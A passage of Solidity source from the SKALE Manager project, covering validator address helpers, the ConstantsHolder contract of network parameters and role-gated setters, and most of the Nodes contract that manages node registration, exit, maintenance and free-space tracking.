* @dev Returns the validator ID for the given validator address.
*/
function getValidatorId(address validatorAddress) public view returns (uint) {
checkIfValidatorAddressExists(validatorAddress);
return _validatorAddressToId[validatorAddress];
}
/**
* @dev Checks whether the validator is currently accepting new delegation requests.
*/
function isAcceptingNewRequests(uint validatorId) public view checkValidatorExists(validatorId) returns (bool) {
return validators[validatorId].acceptNewRequests;
}
function isAuthorizedValidator(uint validatorId) public view checkValidatorExists(validatorId) returns (bool) {
return _trustedValidators[validatorId] || !useWhitelist;
}
// private
/**
* @dev Links a validator address to a validator ID.
*
* Requirements:
*
* - Address is not already in use by another validator.
*/
function _setValidatorAddress(uint validatorId, address validatorAddress) private {
if (_validatorAddressToId[validatorAddress] == validatorId) {
return;
}
require(_validatorAddressToId[validatorAddress] == 0, "Address is in use by another validator");
address oldAddress = validators[validatorId].validatorAddress;
delete _validatorAddressToId[oldAddress];
_nodeAddressToValidatorId[validatorAddress] = validatorId;
validators[validatorId].validatorAddress = validatorAddress;
_validatorAddressToId[validatorAddress] = validatorId;
}
/**
* @dev Links a node address to a validator ID.
*
* Requirements:
*
* - Node address must not be already linked to a validator.
*/
function _addNodeAddress(uint validatorId, address nodeAddress) private {
if (_nodeAddressToValidatorId[nodeAddress] == validatorId) {
return;
}
require(_nodeAddressToValidatorId[nodeAddress] == 0, "Validator cannot override node address");
_nodeAddressToValidatorId[nodeAddress] = validatorId;
_nodeAddresses[validatorId].push(nodeAddress);
}
function _find(uint[] memory array, uint index) private pure returns (uint) {
uint i;
for (i = 0; i < array.length; i++) {
if (array[i] == index) {
return i;
}
}
return array.length;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ConstantsHolder.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "./Permissions.sol";
/**
* @title ConstantsHolder
* @dev Contract contains constants and common variables for the SKALE Network.
*/
contract ConstantsHolder is Permissions {
// initial price for creating Node (100 SKL)
uint public constant NODE_DEPOSIT = 100 * 1e18;
uint8 public constant TOTAL_SPACE_ON_NODE = 128;
// part of Node for Small Skale-chain (1/128 of Node)
uint8 public constant SMALL_DIVISOR = 128;
// part of Node for Medium Skale-chain (1/32 of Node)
uint8 public constant MEDIUM_DIVISOR = 32;
// part of Node for Large Skale-chain (full Node)
uint8 public constant LARGE_DIVISOR = 1;
// part of Node for Medium Test Skale-chain (1/4 of Node)
uint8 public constant MEDIUM_TEST_DIVISOR = 4;
// typically number of Nodes for Skale-chain (16 Nodes)
uint public constant NUMBER_OF_NODES_FOR_SCHAIN = 16;
// number of Nodes for Test Skale-chain (2 Nodes)
uint public constant NUMBER_OF_NODES_FOR_TEST_SCHAIN = 2;
// number of Nodes for Test Skale-chain (4 Nodes)
uint public constant NUMBER_OF_NODES_FOR_MEDIUM_TEST_SCHAIN = 4;
// number of seconds in one year
uint32 public constant SECONDS_TO_YEAR = 31622400;
// initial number of monitors
uint public constant NUMBER_OF_MONITORS = 24;
uint public constant OPTIMAL_LOAD_PERCENTAGE = 80;
uint public constant ADJUSTMENT_SPEED = 1000;
uint public constant COOLDOWN_TIME = 60;
uint public constant MIN_PRICE = 10**6;
uint public constant MSR_REDUCING_COEFFICIENT = 2;
uint public constant DOWNTIME_THRESHOLD_PART = 30;
uint public constant BOUNTY_LOCKUP_MONTHS = 2;
uint public constant ALRIGHT_DELTA = 62893;
uint public constant BROADCAST_DELTA = 131000;
uint public constant COMPLAINT_BAD_DATA_DELTA = 49580;
uint public constant PRE_RESPONSE_DELTA = 74500;
uint public constant COMPLAINT_DELTA = 76221;
uint public constant RESPONSE_DELTA = 183000;
// MSR - Minimum staking requirement
uint public msr;
// Reward period - 30 days (each 30 days Node would be granted for bounty)
uint32 public rewardPeriod;
// Allowable latency - 150000 ms by default
uint32 public allowableLatency;
/**
* Delta period - 1 hour (1 hour before Reward period became Monitors need
* to send Verdicts and 1 hour after Reward period became Node need to come
* and get Bounty)
*/
uint32 public deltaPeriod;
/**
* Check time - 2 minutes (every 2 minutes monitors should check metrics
* from checked nodes)
*/
uint public checkTime;
//Need to add minimal allowed parameters for verdicts
uint public launchTimestamp;
uint public rotationDelay;
uint public proofOfUseLockUpPeriodDays;
uint public proofOfUseDelegationPercentage;
uint public limitValidatorsPerDelegator;
uint256 public firstDelegationsMonth; // deprecated
// date when schains will be allowed for creation
uint public schainCreationTimeStamp;
uint public minimalSchainLifetime;
uint public complaintTimelimit;
bytes32 public constant CONSTANTS_HOLDER_MANAGER_ROLE = keccak256("CONSTANTS_HOLDER_MANAGER_ROLE");
modifier onlyConstantsHolderManager() {
require(hasRole(CONSTANTS_HOLDER_MANAGER_ROLE, msg.sender), "CONSTANTS_HOLDER_MANAGER_ROLE is required");
_;
}
/**
* @dev Allows the Owner to set new reward and delta periods
* This function is only for tests.
*/
function setPeriods(uint32 newRewardPeriod, uint32 newDeltaPeriod) external onlyConstantsHolderManager {
require(
newRewardPeriod >= newDeltaPeriod && newRewardPeriod - newDeltaPeriod >= checkTime,
"Incorrect Periods"
);
rewardPeriod = newRewardPeriod;
deltaPeriod = newDeltaPeriod;
}
/**
* @dev Allows the Owner to set the new check time.
* This function is only for tests.
*/
function setCheckTime(uint newCheckTime) external onlyConstantsHolderManager {
require(rewardPeriod - deltaPeriod >= checkTime, "Incorrect check time");
checkTime = newCheckTime;
}
/**
* @dev Allows the Owner to set the allowable latency in milliseconds.
* This function is only for testing purposes.
*/
function setLatency(uint32 newAllowableLatency) external onlyConstantsHolderManager {
allowableLatency = newAllowableLatency;
}
/**
* @dev Allows the Owner to set the minimum stake requirement.
*/
function setMSR(uint newMSR) external onlyConstantsHolderManager {
msr = newMSR;
}
/**
* @dev Allows the Owner to set the launch timestamp.
*/
function setLaunchTimestamp(uint timestamp) external onlyConstantsHolderManager {
require(now < launchTimestamp, "Cannot set network launch timestamp because network is already launched");
launchTimestamp = timestamp;
}
/**
* @dev Allows the Owner to set the node rotation delay.
*/
function setRotationDelay(uint newDelay) external onlyConstantsHolderManager {
rotationDelay = newDelay;
}
/**
* @dev Allows the Owner to set the proof-of-use lockup period.
*/
function setProofOfUseLockUpPeriod(uint periodDays) external onlyConstantsHolderManager {
proofOfUseLockUpPeriodDays = periodDays;
}
/**
* @dev Allows the Owner to set the proof-of-use delegation percentage
* requirement.
*/
function setProofOfUseDelegationPercentage(uint percentage) external onlyConstantsHolderManager {
require(percentage <= 100, "Percentage value is incorrect");
proofOfUseDelegationPercentage = percentage;
}
/**
* @dev Allows the Owner to set the maximum number of validators that a
* single delegator can delegate to.
*/
function setLimitValidatorsPerDelegator(uint newLimit) external onlyConstantsHolderManager {
limitValidatorsPerDelegator = newLimit;
}
function setSchainCreationTimeStamp(uint timestamp) external onlyConstantsHolderManager {
schainCreationTimeStamp = timestamp;
}
function setMinimalSchainLifetime(uint lifetime) external onlyConstantsHolderManager {
minimalSchainLifetime = lifetime;
}
function setComplaintTimelimit(uint timelimit) external onlyConstantsHolderManager {
complaintTimelimit = timelimit;
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
msr = 0;
rewardPeriod = 2592000;
allowableLatency = 150000;
deltaPeriod = 3600;
checkTime = 300;
launchTimestamp = uint(-1);
rotationDelay = 12 hours;
proofOfUseLockUpPeriodDays = 90;
proofOfUseDelegationPercentage = 50;
limitValidatorsPerDelegator = 20;
firstDelegationsMonth = 0;
complaintTimelimit = 1800;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Nodes.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
@author Dmytro Stebaiev
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/utils/SafeCast.sol";
import "./delegation/DelegationController.sol";
import "./delegation/ValidatorService.sol";
import "./utils/Random.sol";
import "./utils/SegmentTree.sol";
import "./BountyV2.sol";
import "./ConstantsHolder.sol";
import "./Permissions.sol";
/**
* @title Nodes
* @dev This contract contains all logic to manage SKALE Network nodes states,
* space availability, stake requirement checks, and exit functions.
*
* Nodes may be in one of several states:
*
* - Active: Node is registered and is in network operation.
* - Leaving: Node has begun exiting from the network.
* - Left: Node has left the network.
* - In_Maintenance: Node is temporarily offline or undergoing infrastructure
* maintenance
*
* Note: Online nodes contain both Active and Leaving states.
*/
contract Nodes is Permissions {
using Random for Random.RandomGenerator;
using SafeCast for uint;
using SegmentTree for SegmentTree.Tree;
// All Nodes states
enum NodeStatus {Active, Leaving, Left, In_Maintenance}
struct Node {
string name;
bytes4 ip;
bytes4 publicIP;
uint16 port;
bytes32[2] publicKey;
uint startBlock;
uint lastRewardDate;
uint finishTime;
NodeStatus status;
uint validatorId;
}
// struct to note which Nodes and which number of Nodes owned by user
struct CreatedNodes {
mapping (uint => bool) isNodeExist;
uint numberOfNodes;
}
struct SpaceManaging {
uint8 freeSpace;
uint indexInSpaceMap;
}
// TODO: move outside the contract
struct NodeCreationParams {
string name;
bytes4 ip;
bytes4 publicIp;
uint16 port;
bytes32[2] publicKey;
uint16 nonce;
string domainName;
}
bytes32 constant public COMPLIANCE_ROLE = keccak256("COMPLIANCE_ROLE");
bytes32 public constant NODE_MANAGER_ROLE = keccak256("NODE_MANAGER_ROLE");
// array which contain all Nodes
Node[] public nodes;
SpaceManaging[] public spaceOfNodes;
// mapping for checking which Nodes and which number of Nodes owned by user
mapping (address => CreatedNodes) public nodeIndexes;
// mapping for checking is IP address busy
mapping (bytes4 => bool) public nodesIPCheck;
// mapping for checking is Name busy
mapping (bytes32 => bool) public nodesNameCheck;
// mapping for indication from Name to Index
mapping (bytes32 => uint) public nodesNameToIndex;
// mapping for indication from space to Nodes
mapping (uint8 => uint[]) public spaceToNodes;
mapping (uint => uint[]) public validatorToNodeIndexes;
uint public numberOfActiveNodes;
uint public numberOfLeavingNodes;
uint public numberOfLeftNodes;
mapping (uint => string) public domainNames;
mapping (uint => bool) private _invisible;
SegmentTree.Tree private _nodesAmountBySpace;
mapping (uint => bool) public incompliant;
/**
* @dev Emitted when a node is created.
*/
event NodeCreated(
uint nodeIndex,
address owner,
string name,
bytes4 ip,
bytes4 publicIP,
uint16 port,
uint16 nonce,
string domainName,
uint time,
uint gasSpend
);
/**
* @dev Emitted when a node completes a network exit.
*/
event ExitCompleted(
uint nodeIndex,
uint time,
uint gasSpend
);
/**
* @dev Emitted when a node begins to exit from the network.
*/
event ExitInitialized(
uint nodeIndex,
uint startLeavingPeriod,
uint time,
uint gasSpend
);
modifier checkNodeExists(uint nodeIndex) {
_checkNodeIndex(nodeIndex);
_;
}
modifier onlyNodeOrNodeManager(uint nodeIndex) {
_checkNodeOrNodeManager(nodeIndex, msg.sender);
_;
}
modifier onlyCompliance() {
require(hasRole(COMPLIANCE_ROLE, msg.sender), "COMPLIANCE_ROLE is required");
_;
}
modifier nonZeroIP(bytes4 ip) {
require(ip != 0x0 && !nodesIPCheck[ip], "IP address is zero or is not available");
_;
}
/**
* @dev Allows Schains and SchainsInternal contracts to occupy available
* space on a node.
*
* Returns whether operation is successful.
*/
function removeSpaceFromNode(uint nodeIndex, uint8 space)
external
checkNodeExists(nodeIndex)
allowTwo("NodeRotation", "SchainsInternal")
returns (bool)
{
if (spaceOfNodes[nodeIndex].freeSpace < space) {
return false;
}
if (space > 0) {
_moveNodeToNewSpaceMap(
nodeIndex,
uint(spaceOfNodes[nodeIndex].freeSpace).sub(space).toUint8()
);
}
return true;
}
/**
* @dev Allows Schains contract to occupy free space on a node.
*
* Returns whether operation is successful.
*/
function addSpaceToNode(uint nodeIndex, uint8 space)
external
checkNodeExists(nodeIndex)
allowTwo("Schains", "NodeRotation")
{
if (space > 0) {
_moveNodeToNewSpaceMap(
nodeIndex,
uint(spaceOfNodes[nodeIndex].freeSpace).add(space).toUint8()
);
}
}
/**
* @dev Allows SkaleManager to change a node's last reward date.
*/
function changeNodeLastRewardDate(uint nodeIndex)
external
checkNodeExists(nodeIndex)
allow("SkaleManager")
{
nodes[nodeIndex].lastRewardDate = block.timestamp;
}
/**
* @dev Allows SkaleManager to change a node's finish time.
*/
function changeNodeFinishTime(uint nodeIndex, uint time)
external
checkNodeExists(nodeIndex)
allow("SkaleManager")
{
nodes[nodeIndex].finishTime = time;
}
/**
* @dev Allows SkaleManager contract to create new node and add it to the
* Nodes contract.
*
* Emits a {NodeCreated} event.
*
* Requirements:
*
* - Node IP must be non-zero.
* - Node IP must be available.
* - Node name must not already be registered.
* - Node port must be greater than zero.
*/
function createNode(address from, NodeCreationParams calldata params)
external
allow("SkaleManager")
nonZeroIP(params.ip)
{
// checks that Node has correct data
require(!nodesNameCheck[keccak256(abi.encodePacked(params.name))], "Name is already registered");
require(params.port > 0, "Port is zero");
require(from == _publicKeyToAddress(params.publicKey), "Public Key is incorrect");
uint validatorId = ValidatorService(
contractManager.getContract("ValidatorService")).getValidatorIdByNodeAddress(from);
uint8 totalSpace = ConstantsHolder(contractManager.getContract("ConstantsHolder")).TOTAL_SPACE_ON_NODE();
nodes.push(Node({
name: params.name,
ip: params.ip,
publicIP: params.publicIp,
port: params.port,
publicKey: params.publicKey,
startBlock: block.number,
lastRewardDate: block.timestamp,
finishTime: 0,
status: NodeStatus.Active,
validatorId: validatorId
}));
uint nodeIndex = nodes.length.sub(1);
validatorToNodeIndexes[validatorId].push(nodeIndex);
bytes32 nodeId = keccak256(abi.encodePacked(params.name));
nodesIPCheck[params.ip] = true;
nodesNameCheck[nodeId] = true;
nodesNameToIndex[nodeId] = nodeIndex;
nodeIndexes[from].isNodeExist[nodeIndex] = true;
nodeIndexes[from].numberOfNodes++;
domainNames[nodeIndex] = params.domainName;
spaceOfNodes.push(SpaceManaging({
freeSpace: totalSpace,
indexInSpaceMap: spaceToNodes[totalSpace].length
}));
_setNodeActive(nodeIndex);
emit NodeCreated(
nodeIndex,
from,
params.name,
params.ip,
params.publicIp,
params.port,
params.nonce,
params.domainName,
block.timestamp,
gasleft());
}
/**
* @dev Allows SkaleManager contract to initiate a node exit procedure.
*
* Returns whether the operation is successful.
*
* Emits an {ExitInitialized} event.
*/
function initExit(uint nodeIndex)
external
checkNodeExists(nodeIndex)
allow("SkaleManager")
returns (bool)
{
require(isNodeActive(nodeIndex), "Node should be Active");
_setNodeLeaving(nodeIndex);
emit ExitInitialized(
nodeIndex,
block.timestamp,
block.timestamp,
gasleft());
return true;
}
/**
* @dev Allows SkaleManager contract to complete a node exit procedure.
*
* Returns whether the operation is successful.
*
* Emits an {ExitCompleted} event.
*
* Requirements:
*
* - Node must have already initialized a node exit procedure.
*/
function completeExit(uint nodeIndex)
external
checkNodeExists(nodeIndex)
allow("SkaleManager")
returns (bool)
{
require(isNodeLeaving(nodeIndex), "Node is not Leaving");
_setNodeLeft(nodeIndex);
emit ExitCompleted(
nodeIndex,
block.timestamp,
gasleft());
return true;
}
/**
* @dev Allows SkaleManager contract to delete a validator's node.
*
* Requirements:
*
* - Validator ID must exist.
*/
function deleteNodeForValidator(uint validatorId, uint nodeIndex)
external
checkNodeExists(nodeIndex)
allow("SkaleManager")
{
ValidatorService validatorService = ValidatorService(contractManager.getValidatorService());
require(validatorService.validatorExists(validatorId), "Validator ID does not exist");
uint[] memory validatorNodes = validatorToNodeIndexes[validatorId];
uint position = _findNode(validatorNodes, nodeIndex);
if (position < validatorNodes.length) {
validatorToNodeIndexes[validatorId][position] =
validatorToNodeIndexes[validatorId][validatorNodes.length.sub(1)];
}
validatorToNodeIndexes[validatorId].pop();
address nodeOwner = _publicKeyToAddress(nodes[nodeIndex].publicKey);
if (validatorService.getValidatorIdByNodeAddress(nodeOwner) == validatorId) {
if (nodeIndexes[nodeOwner].numberOfNodes == 1 && !validatorService.validatorAddressExists(nodeOwner)) {
validatorService.removeNodeAddress(validatorId, nodeOwner);
}
nodeIndexes[nodeOwner].isNodeExist[nodeIndex] = false;
nodeIndexes[nodeOwner].numberOfNodes--;
}
}
/**
* @dev Allows SkaleManager contract to check whether a validator has
* sufficient stake to create another node.
*
* Requirements:
*
* - Validator must be included on trusted list if trusted list is enabled.
* - Validator must have sufficient stake to operate an additional node.
*/
function checkPossibilityCreatingNode(address nodeAddress) external allow("SkaleManager") {
ValidatorService validatorService = ValidatorService(contractManager.getValidatorService());
uint validatorId = validatorService.getValidatorIdByNodeAddress(nodeAddress);
require(validatorService.isAuthorizedValidator(validatorId), "Validator is not authorized to create a node");
require(
_checkValidatorPositionToMaintainNode(validatorId, validatorToNodeIndexes[validatorId].length),
"Validator must meet the Minimum Staking Requirement");
}
/**
* @dev Allows SkaleManager contract to check whether a validator has
* sufficient stake to maintain a node.
*
* Returns whether validator can maintain node with current stake.
*
* Requirements:
*
* - Validator ID and nodeIndex must both exist.
*/
function checkPossibilityToMaintainNode(
uint validatorId,
uint nodeIndex
)
external
checkNodeExists(nodeIndex)
allow("Bounty")
returns (bool)
{
ValidatorService validatorService = ValidatorService(contractManager.getValidatorService());
require(validatorService.validatorExists(validatorId), "Validator ID does not exist");
uint[] memory validatorNodes = validatorToNodeIndexes[validatorId];
uint position = _findNode(validatorNodes, nodeIndex);
require(position < validatorNodes.length, "Node does not exist for this Validator");
return _checkValidatorPositionToMaintainNode(validatorId, position);
}
/**
* @dev Allows Node to set In_Maintenance status.
*
* Requirements:
*
* - Node must already be Active.
* - `msg.sender` must be owner of Node, validator, or SkaleManager.
*/
function setNodeInMaintenance(uint nodeIndex) external onlyNodeOrNodeManager(nodeIndex) {
require(nodes[nodeIndex].status == NodeStatus.Active, "Node is not Active");
_setNodeInMaintenance(nodeIndex);
}
/**
* @dev Allows Node to remove In_Maintenance status.
*
* Requirements:
*
* - Node must already be In Maintenance.
* - `msg.sender` must be owner of Node, validator, or SkaleManager.
*/
function removeNodeFromInMaintenance(uint nodeIndex) external onlyNodeOrNodeManager(nodeIndex) {
require(nodes[nodeIndex].status == NodeStatus.In_Maintenance, "Node is not In Maintenance");
_setNodeActive(nodeIndex);
}
/**
* @dev Marks the node as incompliant
*
*/
function setNodeIncompliant(uint nodeIndex) external onlyCompliance checkNodeExists(nodeIndex) {
if (!incompliant[nodeIndex]) {
incompliant[nodeIndex] = true;
_makeNodeInvisible(nodeIndex);
}
}
/**
* @dev Marks the node as compliant
*
*/
function setNodeCompliant(uint nodeIndex) external onlyCompliance checkNodeExists(nodeIndex) {
if (incompliant[nodeIndex]) {
incompliant[nodeIndex] = false;
_tryToMakeNodeVisible(nodeIndex);
}
}
function setDomainName(uint nodeIndex, string memory domainName)
external
onlyNodeOrNodeManager(nodeIndex)
{
domainNames[nodeIndex] = domainName;
}
function makeNodeVisible(uint nodeIndex) external allow("SchainsInternal") {
_tryToMakeNodeVisible(nodeIndex);
}
function makeNodeInvisible(uint nodeIndex) external allow("SchainsInternal") {
_makeNodeInvisible(nodeIndex);
}
function changeIP(
uint nodeIndex,
bytes4 newIP,
bytes4 newPublicIP
)
external
onlyAdmin
checkNodeExists(nodeIndex)
nonZeroIP(newIP)
{
if (newPublicIP != 0x0) {
require(newIP == newPublicIP, "IP address is not the same");
nodes[nodeIndex].publicIP = newPublicIP;
}
nodesIPCheck[nodes[nodeIndex].ip] = false;
nodesIPCheck[newIP] = true;
nodes[nodeIndex].ip = newIP;
}
function getRandomNodeWithFreeSpace(
uint8 freeSpace,
Random.RandomGenerator memory randomGenerator
)
external
view
returns (uint)
{
uint8 place = _nodesAmountBySpace.getRandomNonZeroElementFromPlaceToLast(
freeSpace == 0 ? 1 : freeSpace,
randomGenerator
).toUint8();
require(place > 0, "Node not found");
return spaceToNodes[place][randomGenerator.random(spaceToNodes[place].length)];
}
/**
* @dev Checks whether it is time for a node's reward.
*/
function isTimeForReward(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (bool)
{
return BountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex) <= now;
}
/**
* @dev Returns IP address of a given node.
*
* Requirements:
*
* - Node must exist.
*/
function getNodeIP(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (bytes4)
{
require(nodeIndex < nodes.length, "Node does not exist");
return nodes[nodeIndex].ip;
}
/**
* @dev Returns domain name of a given node.
*
* Requirements:
*
* - Node must exist.
*/
function getNodeDomainName(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (string memory)
{
return domainNames[nodeIndex];
}
/**
* @dev Returns the port of a given node.
*
* Requirements:
*
* - Node must exist.
*/
function getNodePort(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (uint16)
{
return nodes[nodeIndex].port;
}
/**
* @dev Returns the public key of a given node.
*/
function getNodePublicKey(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (bytes32[2] memory)
{
return nodes[nodeIndex].publicKey;
}
/**
* @dev Returns an address of a given node.
*/
function getNodeAddress(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (address)
{
return _publicKeyToAddress(nodes[nodeIndex].publicKey);
}
/**
* @dev Returns the finish exit time of a given node.
*/
function getNodeFinishTime(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (uint)
{
return nodes[nodeIndex].finishTime;
}
/**
* @dev Checks whether a node has left the network.
*/
function isNodeLeft(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (bool)
{
return nodes[nodeIndex].status == NodeStatus.Left;
}
function isNodeInMaintenance(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (bool)
{
return nodes[nodeIndex].status == NodeStatus.In_Maintenance;
}
/**
* @dev Returns a given node's last reward date.
*/
function getNodeLastRewardDate(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (uint)
{
return nodes[nodeIndex].lastRewardDate;
}
/**
* @dev Returns a given node's next reward date.
*/
function getNodeNextRewardDate(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (uint)
{
return BountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex);
}
/**
* @dev Returns the total number of registered nodes.
*/
function getNumberOfNodes() external view returns (uint) {
return nodes.length;
}
/**
* @dev Returns the total number of online nodes.
*
* Note: Online nodes are equal to the number of active plus leaving nodes.
*/
function getNumberOnlineNodes() external view returns (uint) {
return numberOfActiveNodes.add(numberOfLeavingNodes);
}
/**
* @dev Return active node IDs.
*/
function getActiveNodeIds() external view returns (uint[] memory activeNodeIds) {
activeNodeIds = new uint[](numberOfActiveNodes);
uint indexOfActiveNodeIds = 0;
for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) {
if (isNodeActive(indexOfNodes)) {
activeNodeIds[indexOfActiveNodeIds] = indexOfNodes;
indexOfActiveNodeIds++;
}
}
}
/**
* @dev Return a given node's current status.
*/
function getNodeStatus(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (NodeStatus)
{
return nodes[nodeIndex].status;
}
/**
* @dev Return a validator's linked nodes.
*
* Requirements:
*
* - Validator ID must exist.
*/
function getValidatorNodeIndexes(uint validatorId) external view returns (uint[] memory) {
ValidatorService validatorService = ValidatorService(contractManager.getValidatorService());
require(validatorService.validatorExists(validatorId), "Validator ID does not exist");
return validatorToNodeIndexes[validatorId];
}
/**
* @dev Returns number of nodes with available space.
*/
function countNodesWithFreeSpace(uint8 freeSpace) external view returns (uint count) {
if (freeSpace == 0) {
return _nodesAmountBySpace.sumFromPlaceToLast(1);
}
return _nodesAmountBySpace.sumFromPlaceToLast(freeSpace);
}
/**
* @dev constructor in Permissions approach.
*/
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
numberOfActiveNodes = 0;
numberOfLeavingNodes = 0;
numberOfLeftNodes = 0;
_nodesAmountBySpace.create(128);
}
/**
* @dev Returns the Validator ID for a given node.
*/
function getValidatorId(uint nodeIndex)
public
view
checkNodeExists(nodeIndex)
returns (uint)
{
return nodes[nodeIndex].validatorId;
}
/**
* @dev Checks whether a node exists for a given address.
*/
function isNodeExist(address from, uint nodeIndex)
public
view
checkNodeExists(nodeIndex)
returns (bool)
{
return nodeIndexes[from].isNodeExist[nodeIndex];
}
/**
* @dev Checks whether a node's status is Active.
*/
function isNodeActive(uint nodeIndex)
public
view
checkNodeExists(nodeIndex)
returns (bool)
{
return nodes[nodeIndex].status == NodeStatus.Active;
}
/**
* @dev Checks whether a node's status is Leaving.
*/
function isNodeLeaving(uint nodeIndex)
public
view
checkNodeExists(nodeIndex)
returns (bool)
{
return nodes[nodeIndex].status == NodeStatus.Leaving;
}
function _removeNodeFromSpaceToNodes(uint nodeIndex, uint8 space) internal {
uint indexInArray = spaceOfNodes[nodeIndex].indexInSpaceMap;
uint len = spaceToNodes[space].length.sub(1);
if (indexInArray < len) {
uint shiftedIndex = spaceToNodes[space][len];
spaceToNodes[space][indexInArray] = shiftedIndex;
spaceOfNodes[shiftedIndex].indexInSpaceMap = indexInArray;
}
spaceToNodes[space].pop();
delete spaceOfNodes[nodeIndex].indexInSpaceMap;
}
function _getNodesAmountBySpace() internal view returns (SegmentTree.Tree storage) {
return _nodesAmountBySpace;
}
/**
* @dev Returns the index of a given node within the validator's node index.
*/
function _findNode(uint[] memory validatorNodeIndexes, uint nodeIndex) private pure returns (uint) {
uint i;
for (i = 0; i < validatorNodeIndexes.length; i++) {
if (validatorNodeIndexes[i] == nodeIndex) {
return i;
}
}
return validatorNodeIndexes.length;
}
/**
* @dev Moves a node to a new space mapping.
*/
function _moveNodeToNewSpaceMap(uint nodeIndex, uint8 newSpace) private {
if (!_invisible[nodeIndex]) {
uint8 space = spaceOfNodes[nodeIndex].freeSpace;
_removeNodeFromTree(space);
_addNodeToTree(newSpace);
_removeNodeFromSpaceToNodes(nodeIndex, space);
_addNodeToSpaceToNodes(nodeIndex, newSpace);
}
spaceOfNodes[nodeIndex].freeSpace = newSpace;
}
/**
* @dev Changes a node's status to Active.
*/
function _setNodeActive(uint nodeIndex) private {
nodes[nodeIndex].status = NodeStatus.Active;
numberOfActiveNodes = numberOfActiveNodes.add(1);
if (_invisible[nodeIndex]) {
_tryToMakeNodeVisible(nodeIndex);
} else {
uint8 space = spaceOfNodes[nodeIndex].freeSpace;
_addNodeToSpaceToNodes(nodeIndex, space);
_addNodeToTree(space);
}
}
/**
* @dev Changes a node's status to In_Maintenance.
*/
function _setNodeInMaintenance(uint nodeIndex) private {
nodes[nodeIndex].status = NodeStatus.In_Maintenance;
numberOfActiveNodes = numberOfActiveNodes.sub(1);
_makeNodeInvisible(nodeIndex);
}
/**
* @dev Changes a node's status to Left.
*/
function _setNodeLeft(uint nodeIndex) private {
nodesIPCheck[nodes[nodeIndex].ip] = false;
nodesNameCheck[keccak256(abi.encodePacked(nodes[nodeIndex].name))] = false;
delete nodesNameToIndex[keccak256(abi.encodePacked(nodes[nodeIndex].name))];
if (nodes[nodeIndex].status == NodeStatus.Active) {
numberOfActiveNodes--;
} else {
numberOfLeavingNodes--;
}
nodes[nodeIndex].status = NodeStatus.Left;
numberOfLeftNodes++;
delete spaceOfNodes[nodeIndex].freeSpace;
}
/**
* @dev Changes a node's status to Leaving.
*/
function _setNodeLeaving(uint nodeIndex) private {
nodes[nodeIndex].status = NodeStatus.Leaving;
numberOfActiveNodes--;
numberOfLeavingNodes++;
_makeNodeInvisible(nodeIndex);
}
function _makeNodeInvisible(uint nodeIndex) private {
if (!_invisible[nodeIndex]) {
uint8 space = spaceOfNodes[nodeIndex].freeSpace;
_removeNodeFromSpaceToNodes(nodeIndex, space);
_removeNodeFromTree(space);
_invisible[nodeIndex] = true;
}
}
function _tryToMakeNodeVisible(uint nodeIndex) private {
if (_invisible[nodeIndex] && _canBeVisible(nodeIndex)) {
_makeNodeVisible(nodeIndex);
}
}
function _makeNodeVisible(uint nodeIndex) private {
if (_invisible[nodeIndex]) {
uint8 space = spaceOfNodes[nodeIndex].freeSpace;
_addNodeToSpaceToNodes(nodeIndex, space);
_addNodeToTree(space);
delete _invisible[nodeIndex];
}
}
function _addNodeToSpaceToNodes(uint nodeIndex, uint8 space) private {
spaceToNodes[space].push(nodeIndex);
spaceOfNodes[nodeIndex].indexInSpaceMap = spaceToNodes[space].length.sub(1);
}
function _addNodeToTree(uint8 space) private {
if (space > 0) {
_nodesAmountBySpace.addToPlace(space, 1);
}
}
function _removeNodeFromTree(uint8 space) private {
if (space > 0) {
_nodesAmountBySpace.removeFromPlace(space, 1);
}
}
function _checkValidatorPositionToMaintainNode(uint validatorId, uint position) private returns (bool) {
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController")
);
uint delegationsTotal = delegationController.getAndUpdateDelegatedToValidatorNow(validatorId);
uint msr = ConstantsHolder(contractManager.getConstantsHolder()).msr();
return position.add(1).mul(msr) <= delegationsTotal;
}
function _checkNodeIndex(uint nodeIndex) private view {
require(nodeIndex < nodes.length, "Node with such index does not exist");
}
